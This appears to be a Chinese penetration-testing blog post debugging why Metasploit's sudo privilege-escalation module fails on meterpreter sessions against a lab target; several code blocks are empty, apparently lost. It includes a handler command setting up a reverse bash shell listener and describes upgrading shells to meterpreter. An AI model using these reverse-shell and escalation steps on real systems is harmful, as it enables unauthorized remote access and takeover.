msf报错(SESSION may not be compatible)
起因:sudo -s提权在msf上一直报错,但是在靶机上是可以成功提权的。
msf有一个模块,叫做post/multi/manage/sudo
看过这个模块的源码,就是使用sudo -s来提权的。
为什么会提权失败呢?
环境配置复现,debug
设置msf监听
handler -H 192.168.123.123 -P 6677 -p cmd/unix/reverse_bash
生成反弹shell的载荷
1 |
|
设置metapreter session
使用上一条命令获得一个shell cmd/unix
类型的shell以后,可以使用session -u session的ID
这种方式,获得一个meterpreter x86/linux
的session。
使用meterpreter的session,执行post/multi/manage/sudo
提权载荷,会报错。
1 |
|
使用shell cmd/unix
的载荷不会报错。
查看源码
1 |
|
如何写一个msf插件
1 |
|